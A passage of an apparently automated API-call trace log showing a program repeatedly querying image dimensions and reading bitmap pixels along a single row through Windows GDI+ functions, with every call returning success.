height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=61, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=62, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=63, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=64, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=65, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=66, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=67, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=68, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipBitmapGetPixel (bitmap=0x1272230, x=69, y=308, color=0x30e800) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.135] GetLastError () returned 0x0 [0032.135] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=70, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=71, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=72, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=73, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=74, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=75, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=76, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipBitmapGetPixel (bitmap=0x1272230, x=77, y=308, color=0x30e800) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.136] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.136] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=78, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=79, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=80, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=81, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=82, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=83, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=84, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.137] GdipBitmapGetPixel (bitmap=0x1272230, x=85, y=308, color=0x30e800) returned 0x0 [0032.137] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=86, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=87, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=88, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=89, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=90, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=91, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=92, y=308, color=0x30e800) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.138] GetLastError () returned 0x0 [0032.138] GdipBitmapGetPixel (bitmap=0x1272230, x=93, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=94, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=95, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=96, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=97, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=98, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=99, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipBitmapGetPixel (bitmap=0x1272230, x=100, y=308, color=0x30e800) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.139] GetLastError () returned 0x0 [0032.139] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=101, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=102, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=103, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=104, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=105, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=106, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=107, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipBitmapGetPixel (bitmap=0x1272230, x=108, y=308, color=0x30e800) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.140] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.140] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=109, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=110, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=111, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=112, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=113, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=114, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=115, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.141] GdipBitmapGetPixel (bitmap=0x1272230, x=116, y=308, color=0x30e800) returned 0x0 [0032.141] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=117, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=118, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=119, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=120, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=121, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=122, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipBitmapGetPixel (bitmap=0x1272230, x=123, y=308, color=0x30e800) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.142] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.142] GetLastError () returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=124, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=125, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=126, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=127, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=128, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=129, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=130, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=131, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=132, y=308, color=0x30e800) returned 0x0 [0032.143] GetLastError () returned 0x0 [0032.143] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.143] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.143] GdipBitmapGetPixel (bitmap=0x1272230, x=133, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=134, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=135, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=136, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=137, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=138, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=139, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=140, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=141, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 